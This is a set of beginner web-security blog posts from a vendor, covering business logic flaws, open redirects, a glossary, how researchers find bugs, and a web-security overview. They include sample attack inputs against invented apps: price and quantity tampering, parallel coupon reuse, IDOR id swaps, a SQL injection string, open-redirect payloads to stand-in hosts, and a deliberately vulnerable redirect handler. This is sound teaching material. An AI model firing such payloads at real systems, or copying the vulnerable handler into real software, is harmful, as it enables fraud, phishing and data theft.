Category: Vulnerability Basics

Plain explanations of how software gets broken, for anyone from zero to working knowledge.

  • Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    A business logic vulnerability is a flaw in the rules an application follows rather than a flaw in how it parses input. The request is valid, the session is real, every field has the right type, and the server still ends up doing something it was never meant to do. This post collects five business logic vulnerability examples from an invented shop, shows the requests that cause them, and explains why this class of bug survives the tools most teams already run.

    Five business logic vulnerability examples

    The examples below all come from Acme Store, an invented ecommerce app with a cart, coupons, refunds, and a free trial. Nothing here is injected or malformed. Each request is one a normal client could send.

    1. The client sends the price

    The add to cart request carries the product price, and the server reads it straight from the body instead of looking it up.

    POST /api/cart/items
    Content-Type: application/json
    
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }
    
    200 OK
    { "cart_total": "1.00" }

    Nothing about this request is invalid. The price field is a number, in range, correctly typed. The app is broken because it accepted a value that only its own catalog should decide.

    2. A negative quantity turns a purchase into a credit

    Quantity is validated as an integer. Nobody stated that it must be above zero.

    POST /api/cart/items
    { "sku": "LAPTOP-15", "quantity": 1 }
    { "sku": "MOUSE-01", "quantity": -20 }
    
    200 OK
    { "cart_total": "-98.00" }

    A negative line item subtracts from the total. Depending on how the payment step handles a negative amount, this either discounts the order or issues money. The type check passed. The rule that a basket cannot contain less than nothing was never written down anywhere the code could enforce it.

    3. One coupon applied many times

    A discount code is marked single use, and the check is done by reading the coupon, confirming it is unused, and then marking it used. Two requests arriving at the same moment both pass the read before either writes.

    POST /api/cart/coupon   { "code": "SAVE20" }
    POST /api/cart/coupon   { "code": "SAVE20" }      sent in parallel
    POST /api/cart/coupon   { "code": "SAVE20" }
    
    200 OK
    { "discounts_applied": 3, "cart_total": "12.00" }

    This is the classic gap between checking a condition and acting on it. Each request individually obeys the rule. The rule only holds if the check and the update happen as one atomic step, which is a database property, not a validation property.

    Input validation asks whether a value is well formed. Business logic asks whether a well formed value still makes sense. Most applications only answer the first question.

    4. Skipping a step in the order flow

    Checkout is meant to run in order: create the order, take payment, then confirm. The confirmation endpoint trusts that the earlier steps happened, because in the interface they always do.

    POST /api/orders            { "cart_id": 55 }        creates order 9001, status pending_payment
    POST /api/orders/9001/confirm
    
    200 OK
    { "id": 9001, "status": "confirmed", "paid": false }

    The payment call is simply never made. The server moved the order to confirmed because it was asked to, without checking that the state it was moving from allowed that transition. Any multi step flow with a state field is worth testing this way, including onboarding, verification, and approval workflows.

    5. Resetting a free trial that was meant to be once per person

    Acme Store gives one trial per email address and checks for an exact match on the stored string.

    POST /api/signup   { "email": "sam@example.com" }      trial granted
    POST /api/signup   { "email": "Sam@Example.com" }      trial granted again
    POST /api/signup   { "email": "sam+2@example.com" }    trial granted again

    The identity the business cares about is the person. The identity the code compares is a string. Whenever those two differ, a limit that reads as once per customer becomes once per spelling. The same shape appears in referral bonuses, per user rate limits, and vote counting.

    Why these are hard to catch automatically

    Every example above produces a clean 200 OK. There is no payload, no error, and no anomaly in the logs beyond a slightly odd number. A tool that works from a list of known bad strings has nothing to match on, because the input is data the app was built to accept.

    Catching these needs knowledge that lives outside the code: a coupon applies once per order, a basket cannot hold negative items, an order is confirmed only after payment. Those are assumptions, and an assumption nobody wrote down is an assumption nobody enforced. That is also why these bugs tend to be found by people who first learned how the product is supposed to work. More on the basics behind these bugs is here.

    How to find them

    • Write the rules down first. For each feature, list what must always be true: one coupon per order, quantity above zero, refund never exceeds the amount paid. You cannot test an invariant you have not stated.
    • Then try the opposite of each one. Send the coupon twice, the quantity negative, the refund larger than the charge. The test is only useful if it attacks the rule directly.
    • Replay and reorder requests. Capture a normal flow, then send its steps out of order, twice, or in parallel. Skipping a step and repeating a step are two different bugs.
    • Change values the interface never lets you change. Prices, ids, totals, roles, and status fields are the ones worth trying, because the client is not meant to control them.
    • Test the identity, not the string. Try case changes, plus addressing, trailing spaces, and unicode variants against any per person limit.

    How to fix them

    • Derive money and permission on the server. Look up the price from the catalog, and never accept a total, a discount, or a role from the client.
    • Make the check and the write atomic. A conditional update or a unique constraint enforces single use, while a read followed by a write does not.
    • Enforce transitions, not just states. Confirm should refuse to run unless the order is in a state that allows it, checked in the same statement that performs the change.
    • Normalize before you compare. Decide what counts as the same person, then apply that rule at every place the limit is enforced.
    • Turn each confirmed bug into a standing test. These regress quietly during refactors, because nothing about them looks like security code.

    Business logic flaws are the bugs that require understanding the application rather than recognizing a pattern, which is why they are underrepresented in scanner reports and overrepresented in real incidents. Testing them means forming an idea about what an app assumes and then designing a request that breaks that assumption, which is exactly what an autonomous researcher built around application logic is meant to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of a business logic vulnerability?

    A common one is a price the client is allowed to set. If the add to cart request contains { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 } and the server reads that price instead of looking it up in its own catalog, the buyer decides what things cost. Every field is the right type and the request is completely legal, which is what separates this class from injection bugs.

    How is a business logic bug different from a technical vulnerability?

    A technical vulnerability such as SQL injection or cross site scripting comes from input the application failed to handle safely, so there is a bad string to look for. A business logic bug comes from valid input used in a way the designers did not consider, so there is nothing wrong with the request itself. The first is a parsing problem and the second is an assumption problem, which is why they are found by different methods.

    Why do automated scanners miss business logic flaws?

    Scanners compare traffic against a list of known bad patterns, and these requests contain none. Sending a coupon three times, ordering a negative quantity, or confirming an order before paying all produce a clean 200 OK. To call any of those a bug you need to know the rule that was broken, such as one coupon per order, and that rule usually exists only in someone’s head or in a product document rather than in the code.

    How do I test for business logic vulnerabilities?

    Start by writing down what must always be true for each feature, then design a request that attacks each statement directly. Send the single use coupon in parallel with itself, set a quantity below zero, confirm an order without paying, and sign up again with a different spelling of the same email. Replaying, reordering, and skipping steps in a captured flow finds most of them, because these bugs live in sequence and state rather than in any single request.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • What is an open redirect vulnerability?

    What is an open redirect vulnerability?

    An open redirect vulnerability happens when a web app takes a destination URL from user input and sends the browser there without checking where “there” is. The app means to bounce you back to a page on its own site. Instead an attacker hands it a link that quietly forwards you to a site they control. It looks small. It is the start of phishing, token theft, and server side attacks.

    What an open redirect vulnerability actually is

    Most apps redirect users all the time. You log in and the app sends you back to the page you were trying to reach. You log out and it returns you to the homepage. To remember where you were headed, the app stashes that destination in a URL parameter. The classic name is next, but url, return, redirect, dest, and continue show up just as often.

    The bug is what the app does with that value. If it reads the parameter and redirects to it as is, anyone can set it to any address. The trust you place in the visible domain at the start of the link is the exact thing the attacker borrows.

    A concrete example on Acme Notes

    Say Acme Notes protects its app behind a login. When you hit a private page while logged out, it sends you to the login screen and remembers your target:

    https://acme-notes.example/login?next=/dashboard

    After you sign in, the server reads next and forwards you to /dashboard. Useful. Now an attacker crafts a different link:

    https://acme-notes.example/login?next=https://acme-n0tes-login.example/steal

    The link still begins with the real acme-notes.example domain, so it reads as safe. The victim logs in as normal. Then Acme Notes itself forwards the browser to the attacker page. The user never sees the swap because the trusted domain did the forwarding.

    Why an open redirect vulnerability matters

    On its own a redirect feels harmless. The damage comes from what it enables.

    • Phishing that starts on a trusted domain. A link in an email begins with a name the victim knows. Their eye stops at the first domain. The forward lands them on a fake login page that copies the real one, and they type their password into it.
    • OAuth and token theft. When the redirect is chained with a weak redirect_uri check in an OAuth flow, the authorization code or access token in the URL can be forwarded straight to an attacker host. The login provider sees a request that looks valid because it started on the real client.
    • A stepping stone to SSRF. If a server side component follows the redirect instead of a browser, an open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into server side request forgery against systems behind the firewall.

    An open redirect is rarely the whole attack. It is the trusted first hop that makes the rest of the attack believable.

    The vulnerable handler, and a fix

    Here is the heart of the problem. A handler that trusts the parameter:

    // Vulnerable: redirects to whatever the user supplies
    app.get("/login", (req, res) => {
      const next = req.query.next || "/dashboard";
      // ... authenticate the user ...
      return res.redirect(next);   // next = "https://evil.example" works fine
    });

    The fix is to never redirect to raw user input. Treat the parameter as a hint, then map it to a destination you control. The reliable approach is an allowlist of relative paths or known hosts, with absolute and protocol relative URLs rejected outright:

    // Fixed: only allow safe, internal, relative paths
    const SAFE_PATHS = new Set(["/dashboard", "/settings", "/notes"]);
    
    function safeNext(next) {
      if (typeof next !== "string") return "/dashboard";
      // Reject absolute URLs: http:, https:, javascript:, data:, mailto:
      if (/^[a-z][a-z0-9+.-]*:/i.test(next)) return "/dashboard";
      // Reject protocol relative URLs like //evil.example
      if (next.startsWith("//")) return "/dashboard";
      // Must be a path we recognise
      return SAFE_PATHS.has(next) ? next : "/dashboard";
    }
    
    app.get("/login", (req, res) => {
      // ... authenticate the user ...
      return res.redirect(safeNext(req.query.next));
    });

    If you need to allow more than a fixed set of paths, parse the value and compare its host against an allowlist of hostnames you own. Reject anything that does not match, and always fall back to a safe default rather than to the input.

    Why blocklists fail

    A common first attempt is to block bad strings. Strip out http:// and https://, or refuse anything containing evil.example. This loses, every time, because the set of ways to write a hostile URL is open ended:

    • //evil.example has no scheme, so a filter looking for http misses it. The browser still treats it as an absolute address.
    • https:/\evil.example and backslash tricks get normalised by some browsers into a real redirect.
    • https://acme-notes.example.evil.example contains your domain as a substring, so a naive contains check passes it.
    • URL encoding, double encoding, and whitespace such as %2F%2Fevil.example slip past simple matching.

    A blocklist tries to name every bad input. You cannot. An allowlist names the small set of good outputs, which you can. That is the whole reason allowlists win here: you are deciding what is allowed, not guessing at everything that is not. If you want to see how different parsers read the same value, our free URL parser confusion analyzer shows where a host or scheme can disagree and slip past an allowlist check.

    How to detect and prevent open redirects

    Detection starts with finding every place the app turns user input into a destination.

    • Grep for redirect calls. Search the codebase for redirect, Location headers, res.redirect, sendRedirect, and meta refresh tags. For each one, trace the destination back to its source. If the source is a query parameter, form field, or header, you have a candidate.
    • Watch the usual parameter names. Look at every next, url, return, returnTo, redirect, continue, and dest in your routes.
    • Test the obvious payloads. Set the parameter to https://example.org and to //example.org and see if the browser leaves your domain. If it does, you have an open redirect.

    Prevention comes down to a few rules you apply everywhere:

    • Never pass raw user input into a redirect.
    • Prefer relative paths from a known allowlist. Map a short token or path to a destination instead of carrying a full URL.
    • If you must accept hosts, compare against an allowlist of hostnames you own and reject everything else.
    • Reject absolute URLs and protocol relative //evil.example values up front.
    • Always fall back to a safe default when validation fails, never to the input.

    If you want the background on this and related logic bugs, the vulnerability basics category covers the patterns that show up again and again.

    Why this bug hides from simple scanners

    An open redirect is a logic bug, not a payload. A scanner that fires a list of known strings might catch the simplest case. It tends to miss the redirect that only triggers after login, or the one that needs a specific parameter order, or the chain where the redirect feeds an OAuth flow two steps later. Finding those means understanding what the app is trying to do and where its trust in user input quietly leaks out.

    That is the kind of assumption testing an autonomous researcher is built for: tracing a destination from input to redirect, then checking whether the app’s belief about “safe” actually holds. You can read more about that approach on the about page.

    Frequently asked questions

    Is an open redirect actually a serious vulnerability on its own?

    On its own a redirect feels minor, but its value is as the trusted first hop in a larger attack. It makes phishing believable because the link starts on a domain the victim knows, and it can be chained into OAuth token theft or server side request forgery. Treat it as the opening move, not the whole attack.

    Why use an allowlist instead of blocking bad redirect URLs?

    A blocklist tries to name every hostile input, which is impossible because of forms like //evil.example with no scheme, backslash tricks, and encoded values that slip past simple matching. An allowlist names the small set of good destinations you actually support, which you can define exactly. You are deciding what is allowed rather than guessing at everything that is not.

    How can an open redirect lead to server side request forgery?

    If a server side component follows the redirect instead of a browser, the open redirect can push a backend fetch toward an internal address it should never reach. That turns a client side annoyance into a request against systems behind the firewall. The PortSwigger Web Security Academy guide on SSRF covers how those internal requests get abused.

    Which parameter names commonly hide open redirect bugs?

    Watch for next, url, return, returnTo, redirect, continue, and dest. For each one, trace the destination back to its source, and if it comes from a query parameter, form field, or header that flows into a redirect without checks, you have a candidate to test.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: URL Parser Confusion Analyzer lets you see how different parsers disagree about the host in a URL. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Web and API Security Glossary: Vulnerabilities and Terms Explained

    Web and API Security Glossary: Vulnerabilities and Terms Explained

    This glossary explains the most common web application vulnerabilities and the security terms that go with them, in plain language. It is built for people starting from zero, so each entry is short and concrete. Where we have a deeper post, the term links to it. Skim it, bookmark it, or read it top to bottom.

    The entries are grouped into core concepts, access control, injection and input, logic and API flaws, and the ways people test for all of these. If you only read one section, read common web application vulnerabilities first.

    Core concepts

    • Vulnerability. A weakness in an application that lets someone do something they should not be able to do, like read another user’s data or run their own code on the server.
    • Exploit. The specific steps or request that turns a vulnerability into real impact. A vulnerability is the open window; the exploit is climbing through it.
    • Threat. Anyone or anything that could act against the app, from a bored attacker to an automated bot scanning the whole internet.
    • Attack surface. Every place an attacker can touch the app: pages, forms, API endpoints, file uploads, headers, and parameters. The bigger the surface, the more there is to get wrong.
    • Payload. The piece of input that triggers the bug, for example a snippet of script or a crafted value in a URL parameter.
    • Proof of concept. A safe demonstration that a bug is real, without causing damage. It is the difference between “this might be exploitable” and “here is the proof.”
    • False positive. A finding a tool reports that is not actually exploitable. Too many of these waste a team’s time and train them to ignore alerts.
    • CVE. A public identifier for a known vulnerability in a specific piece of software, like CVE 2024 12345. It lets everyone refer to the same issue.
    • CVSS. A scoring system from 0 to 10 that rates how severe a vulnerability is. Higher means worse, but context still matters more than the number.
    • Zero day. A vulnerability that is being exploited before the vendor has a fix available. Defenders have zero days of warning.

    Access control

    Access control bugs are about who is allowed to do what. They are some of the highest impact issues because they often expose other users’ data directly. See access control vulnerabilities for the full picture.

    • Authentication. Proving who you are, usually with a password or a login token. See authentication vs authorization.
    • Authorization. Deciding what you are allowed to do once you are logged in. Many breaches come from getting this step wrong.
    • Broken access control. When the app fails to check that a user is allowed to perform an action, so a normal user can reach admin pages or other people’s records.
    • IDOR. Insecure direct object reference. Changing an id in a URL like /invoice/123 to /invoice/124 and seeing data that is not yours. See the IDOR and BOLA entry.
    • BOLA. Broken object level authorization. The API version of IDOR, and the most common serious API flaw. The endpoint returns an object without checking it belongs to the caller.
    • Privilege escalation. Gaining rights you should not have. See privilege escalation.
    • Horizontal escalation. Acting as another user at the same level, for example reading a peer’s messages.
    • Vertical escalation. Jumping to a higher level, for example a normal user gaining admin powers.
    • Session. The server’s memory that you are logged in, tracked by a cookie or token. Steal the session and you become that user.
    • JWT. JSON web token. A signed token that carries login claims. Weak signing or trusting unverified claims turns it into an access control bug.

    Injection and input

    Injection happens when input is treated as a command instead of plain data. The app mixes attacker text into a query, a page, or a shell, and the attacker’s text takes over.

    • Injection. The general class where untrusted input changes the meaning of a command the app runs.
    • SQL injection. Injecting database query syntax to read or change data the app never meant to expose. See SQL injection.
    • Cross site scripting. XSS. Injecting script that runs in another user’s browser, often to steal sessions. See cross site scripting.
    • Stored XSS. The script is saved by the app, for example in a comment, and runs for every visitor who views it.
    • Reflected XSS. The script comes back in the response to a single crafted request, usually delivered through a link.
    • DOM XSS. The bug lives in client side JavaScript that writes attacker input into the page without cleaning it.
    • Command injection. Getting the server to run your operating system commands. See command injection.
    • SSTI. Server side template injection. Input is rendered as a template expression, which can lead to running code on the server.
    • Path traversal. Using sequences like ../ to read files outside the intended folder, such as configuration or password files.
    • SSRF. Server side request forgery. Tricking the server into making requests for you, often to reach internal systems a user cannot touch directly.
    • XXE. XML external entity. Abusing XML parsing to read local files or make the server send requests.
    • CSRF. Cross site request forgery. Tricking a logged in user’s browser into sending an action they did not intend, like changing their email.
    • Open redirect. A redirect that sends users to any URL an attacker supplies, useful for convincing phishing links.

    Logic and API flaws

    These bugs are not about malformed input. The request is valid; the app’s rules are wrong. They are hard for scanners to catch because nothing looks broken on the surface.

    • Business logic vulnerability. A flaw in the app’s rules, like applying a discount twice or skipping a payment step. See business logic vulnerabilities.
    • Mass assignment. Sending extra fields in a request, like role=admin, that the app blindly saves because it trusts the whole object.
    • Broken function level authorization. An admin only action that is reachable by anyone who knows the endpoint, because the function itself never checks the role.
    • Rate limiting. A control that caps how often an action can run. Missing it enables brute force, scraping, and abuse.
    • Race condition. Sending requests at the same moment to slip between two steps, for example redeeming one gift code twice before the balance updates.

    How these get found and tested

    Finding web application vulnerabilities is its own discipline. Different methods catch different things, and none catches everything. For the bigger picture see how hackers find vulnerabilities and web application security.

    • Penetration testing. A skilled person tries to break the app on purpose and reports what worked.
    • Automated penetration testing. Software that does much of that work continuously. See automated penetration testing.
    • Vulnerability scanner. A tool that checks an app against a list of known issues and patterns. Fast and broad, but prone to false positives and blind to logic bugs.
    • SAST. Static analysis. Reads the source code without running it. See SAST vs DAST vs IAST.
    • DAST. Dynamic analysis. Tests the running app from the outside, the way an attacker sees it.
    • IAST. Interactive analysis. Watches the app from the inside while it runs to spot issues with more context.
    • Fuzzing. Throwing large amounts of malformed or random input at the app to see what crashes or misbehaves.
    • Verification. Proving a finding is real with concrete evidence before reporting it, so the output is signal and not a pile of maybes.

    See the ideas in action

    Definitions only go so far. Two teardowns walk through how these pieces combine in a realistic app: an IDOR that exposes user data and chaining small bugs into a real breach.

    The highest impact bugs rarely come from one exotic payload. They come from understanding how an app is meant to work, then noticing where that logic quietly breaks.

    That is exactly the kind of reasoning an autonomous researcher that tests an app’s assumptions is built for. It learns how the app works, forms ideas about where it breaks, runs experiments, and proves a finding before reporting it. If that approach interests you, read more about UnboundCompute.

    Frequently asked questions

    What is the difference between authentication and authorization?

    Authentication proves who you are, usually with a password or a login token, while authorization decides what you are allowed to do once you are logged in. They are separate steps, and many breaches come from getting the second one wrong even when the first one works fine. The OWASP Broken Access Control page covers how authorization fails in practice.

    What does CSRF stand for?

    CSRF stands for cross site request forgery. It is a bug where an attacker tricks a logged in user’s browser into sending an action they did not intend, like changing their email, because the browser attaches the session cookie automatically.

    What is the difference between IDOR and BOLA?

    IDOR means insecure direct object reference, where changing an id in a URL like /invoice/123 to /invoice/124 exposes data that is not yours. BOLA, broken object level authorization, is the API version of the same flaw and is the most common serious API bug, where an endpoint returns an object without checking it belongs to the caller.

    What is the difference between a vulnerability and an exploit?

    A vulnerability is a weakness that lets someone do something they should not be able to do, like read another user’s data. An exploit is the specific request or set of steps that turns that weakness into real impact. The vulnerability is the open window, and the exploit is climbing through it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • How do hackers find vulnerabilities?

    How do hackers find vulnerabilities?

    Ask most people how do hackers find vulnerabilities and they picture a tool that scans an app and spits out a list of holes. That happens, but it is the weak version. The strongest finding comes from a person sitting with an app, working out how it is meant to behave, then probing the spot where that intent quietly breaks.

    How do hackers find vulnerabilities by reasoning, not just scanning

    A scanner fires a fixed set of payloads at every field it can see and waits for a known pattern in the response. It is fast and it catches old, well documented bugs. It is also blind to the logic of the app. It does not know that an account ID in a URL was never supposed to be editable, or that a coupon code should only apply once. A researcher does know, because the researcher first learns the rules.

    So the real process is closer to detective work than to button pushing. You map the app. You learn what it promises. You guess where those promises are enforced by hope instead of by code. Then you test that exact guess.

    The best bugs are not hidden. They sit in plain sight, in the gap between what the app assumes and what it actually checks.

    Step one: map the application

    Before any testing, you build a picture of the app. What pages exist, what actions they offer, what data they touch. You watch the network traffic while you click around as a normal user. Every request and response is a clue about how the backend is wired.

    Take an invented example, a notes app called Acme Notes. As you use it, you notice a request like this when you open one of your own notes:

    GET /api/notes/4812 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    That single line tells you a lot. Notes are addressed by a plain number. Your note is 4812. The obvious question follows on its own. What happens if you ask for note 4811?

    What you are looking for while mapping

    • Identifiers you can change. Numbers and slugs in URLs and request bodies, like user_id, order=1099, or file=report.pdf.
    • Hidden actions. Buttons that only admins see, but that may still call an endpoint anyone can reach.
    • State the app tracks. Cart totals, account balances, draft versus published flags, anything the app expects to control.
    • Trust boundaries. The line between what the browser sends and what the server is willing to believe.

    Step two: understand how it is meant to work

    This is the part scanners skip. You read the app the way its designers read it. A note belongs to one user. A user should see only their own notes. An order total should equal the sum of its items. A password reset link should work once and then die.

    Each of those sentences is a rule. Each rule is a promise the app makes. The interesting question is always the same. Is this promise enforced on the server, or only suggested by the screen?

    Step three: form ideas about where assumptions break

    Now you turn rules into guesses. A good guess is specific and testable. Vague suspicion gets you nowhere. Concrete bets get you findings.

    • The server checks that you are logged in, but maybe it never checks that note 4811 is yours.
    • The price comes from a hidden form field, so maybe the server trusts whatever price the browser sends.
    • The reset token is a short number, so maybe you can guess another user’s token.
    • The admin panel link is hidden in the menu, but maybe POST /api/admin/users answers anyone who calls it.

    Notice the shape of every guess. The app assumes something. You bet that the assumption is checked in the wrong place, or not at all.

    Step four: test inputs and access

    With a guess in hand, you design the smallest experiment that would prove it. For the Acme Notes guess, you keep your own valid login but change one number:

    GET /api/notes/4811 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    If the response is 403 Forbidden or 404 Not Found, the promise held. The app checked ownership. You move on. If the response is 200 OK and you are reading a stranger’s private note, you have found a broken access control bug, the kind often called an insecure direct object reference.

    The same habit applies to input. If a search box builds a database query, you send a value that would break out of the intended query and watch how the app reacts. If a file name is echoed into a page, you send a value that would run as script and see whether the app cleans it. You are always asking one thing. Does the server defend this, or did it assume nobody would try?

    Step five: confirm impact

    A surprising response is not yet a finding. A guess is not evidence. You confirm. You read another account’s data on purpose, then read a second one to show it was not a fluke. You change a price to 0 and complete a checkout to show money actually moved. You prove the bug does what you claim, with a clear request and response that anyone can repeat.

    This is where honest work separates itself from noise. A confirmed bug with a reproduction is something a team can fix today. A list of maybes from a scanner is something a team has to triage, often only to find that most entries are false alarms.

    Blind scanning versus reasoning about the app

    Both approaches exist, and they fail in different ways. The difference is worth keeping straight, which is why we wrote a whole piece on scanners versus research.

    • Blind scanning throws known payloads at everything and matches known patterns. It finds the bug everyone already knows about. It misses logic flaws because it never learns the logic.
    • Reasoning about the app learns the rules first, then targets the exact place a rule is likely unenforced. It finds the access control and business logic bugs that scanners walk straight past.

    You can sum up the whole method in five words. Understand, assume, experiment, verify, chain. Learn the app. Bet on a broken assumption. Run a small test. Prove the impact. Then see whether one bug opens the door to the next.

    Why this matters for defenders

    If you build software, the lesson points straight at your code. Attackers will model your app’s rules and then check, one by one, whether each rule is enforced on the server. So enforce them on the server. Check ownership on every object lookup, not just login. Recompute prices and totals from trusted data, never from the request. Treat every value from a browser as a claim to verify, not a fact to trust. It also helps to make yourself easy to reach when a researcher does find something: publishing a security.txt file gives them a clear contact for responsible disclosure, and our free security.txt generator and validator builds and checks one for you.

    Finding vulnerabilities, done well, is just disciplined curiosity about where an app’s assumptions and its checks part ways. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, working through understand, assume, experiment, and verify on its own. You can read more about that approach on our about page.

    Frequently asked questions

    How do hackers actually find vulnerabilities?

    The strongest approach is closer to detective work than to running a tool. You map the app, learn the rules it promises to enforce, guess where a rule is checked by hope instead of by code, then run the smallest test that would prove your guess. A scanner is faster but blind to logic, so it finds known bugs and walks past access control and business logic flaws.

    What is the difference between scanning and reasoning about an app?

    Blind scanning throws known payloads at every field and matches known response patterns, which finds the bug everyone already knows about but misses anything that depends on the app’s logic. Reasoning about the app learns the rules first, then targets the exact place a rule is likely unenforced, which is how access control and logic bugs surface. The OWASP Web Security Testing Guide describes structured manual testing.

    What do researchers look for when mapping an application?

    Identifiers you can change like a numeric user_id or order=1099, hidden actions such as an admin only button that still calls a reachable endpoint, state the app tracks like cart totals and balances, and the trust boundary between what the browser sends and what the server is willing to believe. Each is a clue about how the backend is wired.

    Why is confirming impact a separate step?

    A surprising response is not yet a finding, because a guess is not evidence. You confirm by reproducing the issue on purpose, for example reading a second account’s data to show it was not a fluke, and presenting a clear request and response anyone can repeat. A confirmed bug is something a team can fix today, while a list of maybes only creates triage work.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is web application security?

    What is web application security?

    Web application security is the practice of keeping the apps people use in a browser, and the APIs behind them, safe from misuse. It covers how an app handles input, who is allowed to do what, how it confirms who you are, how it is set up, and whether its business rules hold under pressure. If you are new to the topic, this is a friendly map of what web application security means and why it matters.

    What is web application security?

    An app does a lot of trusting. It trusts that a logged in user only requests their own data. It trusts that a price field really holds a number. It trusts that a hidden form value was not changed. Web application security is the work of checking those assumptions before an attacker does. When one of them is wrong, you get a bug that lets someone read another person’s records, skip a payment step, or run a query they were never meant to run.

    People sometimes ask “what is application security” as if it were one wall around the app. It is closer to many small checks spread across every request. A single weak check is enough. So the goal is not one strong defense, it is consistent ones.

    Why it matters

    Most apps now hold something worth taking: account data, messages, files, money movement, internal tools. The app is also the part of a system most exposed to the open internet. A mistake in one endpoint can reach real users in minutes. That is why teams treat security as part of building the app, not a step bolted on at the end.

    The strongest bugs come from understanding what an app assumes, then proving one of those assumptions is wrong.

    The main risk areas

    You do not need to memorize a long list of attack names to start. Most real issues fall into a handful of groups. Learn these groups and you can reason about a feature you have never seen before.

    Input handling

    An app reads input from forms, URLs, headers, and API bodies. Trouble starts when that input is passed into another system without care. A search box that drops raw text into a database query can become SQL injection. A comment field that echoes raw text back into the page can become cross site scripting. The fix is the same idea each time: treat input as data, never as code.

    POST /api/search
    { "q": "laptop' OR '1'='1" }

    If that q value reaches the database as part of the query string instead of a bound parameter, the trailing condition can change what rows come back. A parameterized query keeps the value as a value.

    Access control

    Access control answers one question: is this user allowed to do this thing, on this object, right now. It is the most common place apps go wrong. Picture an order page:

    GET /api/orders/1042

    If the server returns order 1042 just because you are logged in, and not because order 1042 is yours, then changing the number to 1041 hands you someone else’s order. This is called an insecure direct object reference. The lesson is plain: check ownership on the server for every request, not just in the menu the user sees. We go deeper on this in vulnerability basics.

    Authentication

    Authentication is how the app confirms you are who you claim to be. Weak points include passwords with no rate limit on guessing, session tokens that never expire, password reset links that can be reused, and tokens that leak in a URL. If those session tokens are JSON Web Tokens, our free JWT security inspector decodes one and flags a missing expiry, a weak algorithm, or secrets left in the payload. Authentication decides identity. Access control then decides what that identity may do. They are separate jobs and both must be right.

    Configuration

    Plenty of bugs are not in the code at all. They live in settings. A debug mode left on in production. An admin panel reachable without a login. Default credentials no one changed. An S3 bucket set to public. A verbose error page that prints a stack trace to anyone who triggers it. Configuration review asks a simple question for each setting: what does an outsider see, and is that what we intended. For the security headers an outsider sees on every response, our free security headers and CSP analyzer grades them in seconds.

    Business logic

    The last group is the trickiest because the code can be correct and the app can still be wrong. Logic flaws break the rules of the business, not the syntax of the language. An example:

    • A checkout applies a discount code. It never checks whether that code was already used.
    • So you apply the same code many times and drive the total to zero.
    • Every request is well formed. No injection, no broken auth. The flow just allows a thing it should forbid.

    Scanners rarely catch these, because there is no bad character to flag. You have to understand what the feature is for, then ask what happens at the edges: negative quantities, repeated steps, steps done out of order, two requests racing at once.

    How testing works at a high level

    Testing a web app for security is not one tool you run once. It is a few methods that fit together, each good at finding a different kind of problem.

    Static and dependency review

    Read the source and scan it for risky patterns: raw string queries, missing ownership checks, secrets committed to the repo. Separately, check the libraries the app pulls in, since a known flaw in a dependency is your flaw too. For the third party scripts you load from a CDN, pinning each file with a Subresource Integrity hash stops a tampered copy from running, and our free Subresource Integrity hash generator produces that attribute for you. This is cheap and catches a real share of issues early.

    Dynamic testing

    Run the app and send it crafted requests to watch how it responds. Change an ID. Drop a quote into a field. Replay a request without a login. Send a step out of order. The point is to learn how the app behaves when input does not match what the developer expected.

    Manual and assumption based testing

    A person, or an autonomous tester, studies how the app is meant to work, then forms ideas about where the logic could break, then designs a small experiment for each idea and proves the result with hard evidence. This is where the access control and logic bugs above tend to surface, because finding them needs an understanding of the app, not a fixed list of payloads.

    A note on proof. A guess that an endpoint “might” be broken is not useful. A confirmed finding, shown with a concrete request and response, is. Once a bug is verified, you can turn it into a repeatable check that watches for the same bug returning later.

    Where to go next

    Web application security is a wide field, but it starts with one habit: look at every assumption an app makes and ask what happens when it is false. Pick one risk area, find it in an app you know, and trace it through. That is the kind of bug an autonomous researcher that tests assumptions, not just known payloads, is built to find and verify. If you want to see how that approach works, read more about UnboundCompute.

    Frequently asked questions

    What is web application security in simple terms?

    It is the practice of keeping browser based apps and the APIs behind them safe by checking the assumptions an app makes before an attacker does. Most work falls into a few areas: input handling, access control, authentication, configuration, and business logic. A useful starting map is the OWASP Top 10.

    What are the main types of web application vulnerabilities?

    They group into a handful of families: input bugs like injection and cross site scripting, access control flaws such as reading another user’s record by changing an id, weak authentication, risky configuration like a debug mode left on, and business logic flaws where every request is valid but the flow allows something it should forbid. Learning the groups lets you reason about a feature you have never seen.

    Why do scanners miss business logic bugs?

    A scanner flags bad characters and known patterns, but a logic flaw has no bad character to catch. The code can be syntactically correct and the app still wrong, for example a discount code that can be reused to drive a total to zero. Finding these needs an understanding of what the feature is for, then testing the edges like repeated steps or steps done out of order.

    How do teams test a web app for security?

    They combine methods rather than running one tool. Static and dependency review reads the source and checks libraries, dynamic testing sends crafted requests to a running app, and assumption based testing studies how the app should work and then proves each idea with a concrete request and response. A confirmed finding with a reproduction is far more useful than a list of maybes.


